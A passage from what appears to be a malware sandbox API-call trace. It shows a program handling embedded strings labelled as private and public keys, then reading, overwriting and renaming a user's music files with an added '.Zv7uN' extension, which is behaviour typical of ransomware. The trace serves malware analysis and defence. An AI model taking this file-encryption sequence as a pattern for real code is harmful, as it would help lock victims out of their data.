OJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.131] GetCurrentThreadId () returned 0xa30 [0086.131] GetCurrentThreadId () returned 0xa30 [0086.131] GetCurrentThreadId () returned 0xa30 [0086.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.132] GetCurrentThreadId () returned 0xa30 [0086.132] GetCurrentThreadId () returned 0xa30 [0086.132] GetCurrentThreadId () returned 0xa30 [0086.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\4YEAgNEXtnhhOYR9_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\4yeagnextnhhoyr9_.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.133] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.133] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.133] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x7659 [0086.133] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.133] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x7659, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x7659, lpOverlapped=0x0) returned 1 [0086.135] CloseHandle (hObject=0x11c) returned 1 [0086.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\4YEAgNEXtnhhOYR9_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\4yeagnextnhhoyr9_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.137] WriteFile (in: hFile=0x11c, lpBuffer=0x1f20e00*, nNumberOfBytesToWrite=0x7659, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f20e00*, lpNumberOfBytesWritten=0x18f3e0*=0x7659, lpOverlapped=0x0) returned 1 [0086.140] CloseHandle (hObject=0x11c) returned 1 [0086.149] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\4YEAgNEXtnhhOYR9_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\4yeagnextnhhoyr9_.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\4YEAgNEXtnhhOYR9_.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\4yeagnextnhhoyr9_.wav.zv7un")) returned 1 [0086.151] GetCurrentThreadId () returned 0xa30 [0086.151] GetCurrentThreadId () returned 0xa30 [0086.151] GetCurrentThreadId () returned 0xa30 [0086.151] GetCurrentThreadId () returned 0xa30 [0086.151] GetCurrentThreadId () returned 0xa30 [0086.151] GetCurrentThreadId () returned 0xa30 [0086.151] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76b0e3f0, ftCreationTime.dwHighDateTime=0x1d5e2e5, ftLastAccessTime.dwLowDateTime=0x65cd9620, ftLastAccessTime.dwHighDateTime=0x1d5e0cc, ftLastWriteTime.dwLowDateTime=0x65cd9620, ftLastWriteTime.dwHighDateTime=0x1d5e0cc, nFileSizeHigh=0x0, nFileSizeLow=0x903d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kzL2W_Xkz9T0.m4a", cAlternateFileName="KZL2W_~1.M4A")) returned 1 [0086.152] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.152] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.152] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\kzL2W_Xkz9T0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\kzl2w_xkz9t0.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76b0e3f0, ftCreationTime.dwHighDateTime=0x1d5e2e5, ftLastAccessTime.dwLowDateTime=0x65cd9620, ftLastAccessTime.dwHighDateTime=0x1d5e0cc, ftLastWriteTime.dwLowDateTime=0x65cd9620, ftLastWriteTime.dwHighDateTime=0x1d5e0cc, nFileSizeHigh=0x0, nFileSizeLow=0x903d)) returned 1 [0086.152] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\kzL2W_Xkz9T0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\kzl2w_xkz9t0.m4a")) returned 0x20 [0086.152] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\kzL2W_Xkz9T0.m4a", dwFileAttributes=0x80) returned 1 [0086.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt